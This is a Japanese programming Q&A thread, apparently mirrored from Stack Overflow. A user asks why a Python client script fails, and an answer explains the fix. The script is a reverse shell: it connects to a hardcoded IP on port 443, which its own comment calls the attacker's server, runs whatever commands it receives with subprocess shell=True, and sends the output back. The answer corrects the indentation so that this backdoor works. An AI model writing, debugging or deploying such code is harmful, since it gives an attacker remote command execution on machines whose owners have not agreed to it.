1

サーバーがクライアントコマンドを取得できるようにするためのpython-programを作成しました。しかし、それにはいくつかの問題があります。サーバーは動作し、リッスンしていますが、クライアントに障害があるため、シェルが動作しているかどうかわかりません。

#! /bin/usr/python
import socket, subprocess

HOST = '81.82.40.78'
PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to server (attacker)
s.connect((HOST, PORT))

# Send we are connected
s.send('Connect established')

# start loop
while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit": break
    # Do shell command
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # Read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # Send output to server
        s.send(stdout_value)
    # Close socket
    s.close()

私に与えられた間違いは次のとおりです。

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

名前に問題があります。これを修正するにはどうすればよいですか?

4

1 に答える 1

2

ステートメントの後にインデントを修正する必要がありますif(1 行のみに制限しました)。を次の行に移動し、break適切にインデントしました。

while 1:
    # Receive shell command
    data = s.recv(1024)
    # Convert to string in case of it being an integer
    # if it's quit, then break out and close socket
    if data == "quit":
        break
    # Do shell command
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # Read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # Send output to server
    s.send(stdout_value)
# Close socket
s.close()

ループの外側に属するステートメントを含め、行以降のすべてを1 インデントしすぎていることに注意してください。ifs.close()while

于 2013-03-15T23:07:58.253 に答える